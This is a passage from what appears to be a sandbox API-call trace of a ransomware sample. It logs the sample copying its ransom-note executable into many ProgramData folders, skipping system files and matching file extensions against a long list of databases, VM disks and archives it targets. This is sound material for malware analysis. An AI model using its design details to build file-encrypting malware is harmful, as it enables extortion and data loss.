lpString2="MSBuild") returned 1 [0048.494] lstrlenW (lpString="RAC") returned 3 [0048.494] lstrcpyW (in: lpString1=0x241e87a, lpString2="RAC" | out: lpString1="RAC") returned="RAC" [0048.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530cb0 [0048.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f8c8 [0048.494] lstrcatW (in: lpString1="RAC", lpString2="\\" | out: lpString1="RAC\\") returned="RAC\\" [0048.494] lstrcatW (in: lpString1="RAC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RAC\\HOW TO BACK YOUR FILES.exe") returned="RAC\\HOW TO BACK YOUR FILES.exe" [0048.494] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.498] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2=".") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="..") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="windows") returned -1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="bootmgr") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="temp") returned -1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="pagefile.sys") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="boot") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="ids.txt") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="ntuser.dat") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="perflogs") returned 1 [0048.498] lstrcmpiW (lpString1="Search", lpString2="MSBuild") returned 1 [0048.498] lstrlenW (lpString="Search") returned 6 [0048.498] lstrcpyW (in: lpString1=0x241e87a, lpString2="Search" | out: lpString1="Search") returned="Search" [0048.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530cc8 [0048.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x50f910 [0048.498] lstrcatW (in: lpString1="Search", lpString2="\\" | out: lpString1="Search\\") returned="Search\\" [0048.498] lstrcatW (in: lpString1="Search\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Search\\HOW TO BACK YOUR FILES.exe") returned="Search\\HOW TO BACK YOUR FILES.exe" [0048.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.506] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2=".") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="..") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="windows") returned -1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="bootmgr") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="temp") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="pagefile.sys") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="boot") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="ids.txt") returned 1 [0048.506] lstrcmpiW (lpString1="User Account Pictures", lpString2="ntuser.dat") returned 1 [0048.506] lstrcpyW (in: lpString1=0x241e87a, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures" [0048.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530ce0 [0048.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x524088 [0048.506] lstrcatW (in: lpString1="User Account Pictures", lpString2="\\" | out: lpString1="User Account Pictures\\") returned="User Account Pictures\\" [0048.506] lstrcatW (in: lpString1="User Account Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="User Account Pictures\\HOW TO BACK YOUR FILES.exe") returned="User Account Pictures\\HOW TO BACK YOUR FILES.exe" [0048.506] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.510] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0048.510] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.510] lstrcmpiW (lpString1="Vault", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.510] lstrcpyW (in: lpString1=0x241e87a, lpString2="Vault" | out: lpString1="Vault") returned="Vault" [0048.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abc0 [0048.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50f958 [0048.510] lstrcatW (in: lpString1="Vault", lpString2="\\" | out: lpString1="Vault\\") returned="Vault\\" [0048.510] lstrcatW (in: lpString1="Vault\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Vault\\HOW TO BACK YOUR FILES.exe") returned="Vault\\HOW TO BACK YOUR FILES.exe" [0048.510] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.512] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0048.512] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.512] lstrcmpiW (lpString1="VISIO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.512] lstrcpyW (in: lpString1=0x241e87a, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO" [0048.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abd8 [0048.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3e) returned 0x50f9a0 [0048.513] lstrcatW (in: lpString1="VISIO", lpString2="\\" | out: lpString1="VISIO\\") returned="VISIO\\" [0048.513] lstrcatW (in: lpString1="VISIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VISIO\\HOW TO BACK YOUR FILES.exe") returned="VISIO\\HOW TO BACK YOUR FILES.exe" [0048.513] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.516] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0048.516] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.516] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.516] lstrcpyW (in: lpString1=0x241e87a, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender" [0048.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abf0 [0048.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fb60 [0048.516] lstrcatW (in: lpString1="Windows Defender", lpString2="\\" | out: lpString1="Windows Defender\\") returned="Windows Defender\\" [0048.516] lstrcatW (in: lpString1="Windows Defender\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Defender\\HOW TO BACK YOUR FILES.exe") returned="Windows Defender\\HOW TO BACK YOUR FILES.exe" [0048.516] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.521] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0048.521] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.521] lstrcmpiW (lpString1="Windows NT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.521] lstrcpyW (in: lpString1=0x241e87a, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT" [0048.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac08 [0048.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517028 [0048.521] lstrcatW (in: lpString1="Windows NT", lpString2="\\" | out: lpString1="Windows NT\\") returned="Windows NT\\" [0048.521] lstrcatW (in: lpString1="Windows NT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows NT\\HOW TO BACK YOUR FILES.exe") returned="Windows NT\\HOW TO BACK YOUR FILES.exe" [0048.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.532] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0048.532] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.532] lstrcmpiW (lpString1="WwanSvc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.532] lstrcpyW (in: lpString1=0x241e87a, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc" [0048.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac20 [0048.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x517528 [0048.533] lstrcatW (in: lpString1="WwanSvc", lpString2="\\" | out: lpString1="WwanSvc\\") returned="WwanSvc\\" [0048.533] lstrcatW (in: lpString1="WwanSvc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WwanSvc\\HOW TO BACK YOUR FILES.exe") returned="WwanSvc\\HOW TO BACK YOUR FILES.exe" [0048.533] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.535] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0048.535] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.536] ReleaseMutex (hMutex=0xec) returned 1 [0048.536] CloseHandle (hObject=0xec) returned 1 [0048.536] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft Help" | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0048.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f760 | out: hHeap=0x4f0000) returned 1 [0048.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc28 | out: hHeap=0x4f0000) returned 1 [0048.536] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help") returned 29 [0048.536] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4DEFB9721D5734BC6C2D3983DB9BE2D1") returned 0xec [0048.536] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.536] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft Help" | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0048.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.536] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.536] GetLastError () returned 0x0 [0048.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.537] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.537] CloseHandle (hObject=0xf4) returned 1 [0048.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.537] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.537] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.538] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.538] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.540] lstrcpyW (in: lpString1=0x241e884, lpString2="Hx.hxn" | out: lpString1="Hx.hxn") returned="Hx.hxn" [0048.541] lstrlenW (lpString="Hx.hxn") returned 6 [0048.541] lstrlenW (lpString="Athena865") returned 9 [0048.541] lstrlenW (lpString=".dll") returned 4 [0048.541] lstrcmpiW (lpString1="Hx.hxn", lpString2=".dll") returned 1 [0048.541] lstrlenW (lpString=".lnk") returned 4 [0048.541] lstrcmpiW (lpString1="Hx.hxn", lpString2=".lnk") returned 1 [0048.541] lstrlenW (lpString=".ini") returned 4 [0048.541] lstrcmpiW (lpString1="Hx.hxn", lpString2=".ini") returned 1 [0048.541] lstrlenW (lpString=".sys") returned 4 [0048.541] lstrcmpiW (lpString1="Hx.hxn", lpString2=".sys") returned 1 [0048.541] lstrlenW (lpString="Hx.hxn") returned 6 [0048.541] lstrlenW (lpString="bak") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1 [0048.541] lstrlenW (lpString="ba_") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1 [0048.541] lstrlenW (lpString="dbb") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1 [0048.541] lstrlenW (lpString="vmdk") returned 4 [0048.541] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1 [0048.541] lstrlenW (lpString="rar") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1 [0048.541] lstrlenW (lpString="zip") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1 [0048.541] lstrlenW (lpString="tgz") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1 [0048.541] lstrlenW (lpString="vbox") returned 4 [0048.541] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1 [0048.541] lstrlenW (lpString="vdi") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1 [0048.541] lstrlenW (lpString="vhd") returned 3 [0048.541] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1 [0048.541] lstrlenW (lpString="vhdx") returned 4 [0048.541] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1 [0048.541] lstrlenW (lpString="avhd") returned 4 [0048.541] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1 [0048.542] lstrlenW (lpString="db") returned 2 [0048.542] lstrcmpiW (lpString1="xn", lpString2="db") returned 1 [0048.542] lstrlenW (lpString="db2") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1 [0048.542] lstrlenW (lpString="db3") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1 [0048.542] lstrlenW (lpString="dbf") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1 [0048.542] lstrlenW (lpString="mdf") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1 [0048.542] lstrlenW (lpString="mdb") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1 [0048.542] lstrlenW (lpString="sql") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1 [0048.542] lstrlenW (lpString="sqlite") returned 6 [0048.542] lstrlenW (lpString="sqlite3") returned 7 [0048.542] lstrlenW (lpString="sqlitedb") returned 8 [0048.542] lstrlenW (lpString="xml") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1 [0048.542] lstrlenW (lpString="$er") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1 [0048.542] lstrlenW (lpString="4dd") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1 [0048.542] lstrlenW (lpString="4dl") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1 [0048.542] lstrlenW (lpString="^^^") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1 [0048.542] lstrlenW (lpString="abs") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1 [0048.542] lstrlenW (lpString="abx") returned 3 [0048.542] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1 [0048.542] lstrlenW (lpString="accdb") returned 5 [0048.542] lstrcmpiW (lpString1="x.hxn", lpString2="accdb") returned 1 [0048.542] lstrlenW (lpString="accdc") returned 5 [0048.542] lstrcmpiW (lpString1="x.hxn", lpString2="accdc") returned 1 [0048.542] lstrlenW (lpString="accde") returned 5 [0048.543] lstrcmpiW (lpString1="x.hxn", lpString2="accde") returned 1 [0048.543] lstrlenW (lpString="accdr") returned 5 [0048.543] lstrcmpiW (lpString1="x.hxn", lpString2="accdr") returned 1 [0048.543] lstrlenW (lpString="accdt") returned 5 [0048.543] lstrcmpiW (lpString1="x.hxn", lpString2="accdt") returned 1 [0048.543] lstrlenW (lpString="accdw") returned 5 [0048.543] lstrcmpiW (lpString1="x.hxn", lpString2="accdw") returned 1 [0048.543] lstrlenW (lpString="accft") returned 5 [0048.543] lstrcmpiW (lpString1="x.hxn", lpString2="accft") returned 1 [0048.543] lstrlenW (lpString="adb") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.543] lstrlenW (lpString="adb") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.543] lstrlenW (lpString="ade") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1 [0048.543] lstrlenW (lpString="adf") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1 [0048.543] lstrlenW (lpString="adn") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1 [0048.543] lstrlenW (lpString="adp") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1 [0048.543] lstrlenW (lpString="alf") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1 [0048.543] lstrlenW (lpString="ask") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1 [0048.543] lstrlenW (lpString="btr") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1 [0048.543] lstrlenW (lpString="cat") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1 [0048.543] lstrlenW (lpString="cdb") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1 [0048.543] lstrlenW (lpString="ckp") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1 [0048.543] lstrlenW (lpString="cma") returned 3 [0048.543] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1 [0048.543] lstrlenW (lpString="cpd") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1 [0048.544] lstrlenW (lpString="dacpac") returned 6 [0048.544] lstrlenW (lpString="dad") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1 [0048.544] lstrlenW (lpString="dadiagrams") returned 10 [0048.544] lstrlenW (lpString="daschema") returned 8 [0048.544] lstrlenW (lpString="db-journal") returned 10 [0048.544] lstrlenW (lpString="db-shm") returned 6 [0048.544] lstrlenW (lpString="db-wal") returned 6 [0048.544] lstrlenW (lpString="dbc") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1 [0048.544] lstrlenW (lpString="dbs") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1 [0048.544] lstrlenW (lpString="dbt") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1 [0048.544] lstrlenW (lpString="dbv") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1 [0048.544] lstrlenW (lpString="dbx") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1 [0048.544] lstrlenW (lpString="dcb") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1 [0048.544] lstrlenW (lpString="dct") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1 [0048.544] lstrlenW (lpString="dcx") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1 [0048.544] lstrlenW (lpString="ddl") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1 [0048.544] lstrlenW (lpString="dlis") returned 4 [0048.544] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1 [0048.544] lstrlenW (lpString="dp1") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1 [0048.544] lstrlenW (lpString="dqy") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1 [0048.544] lstrlenW (lpString="dsk") returned 3 [0048.544] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1 [0048.544] lstrlenW (lpString="dsn") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1 [0048.545] lstrlenW (lpString="dtsx") returned 4 [0048.545] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1 [0048.545] lstrlenW (lpString="dxl") returned 3 [0048.545] 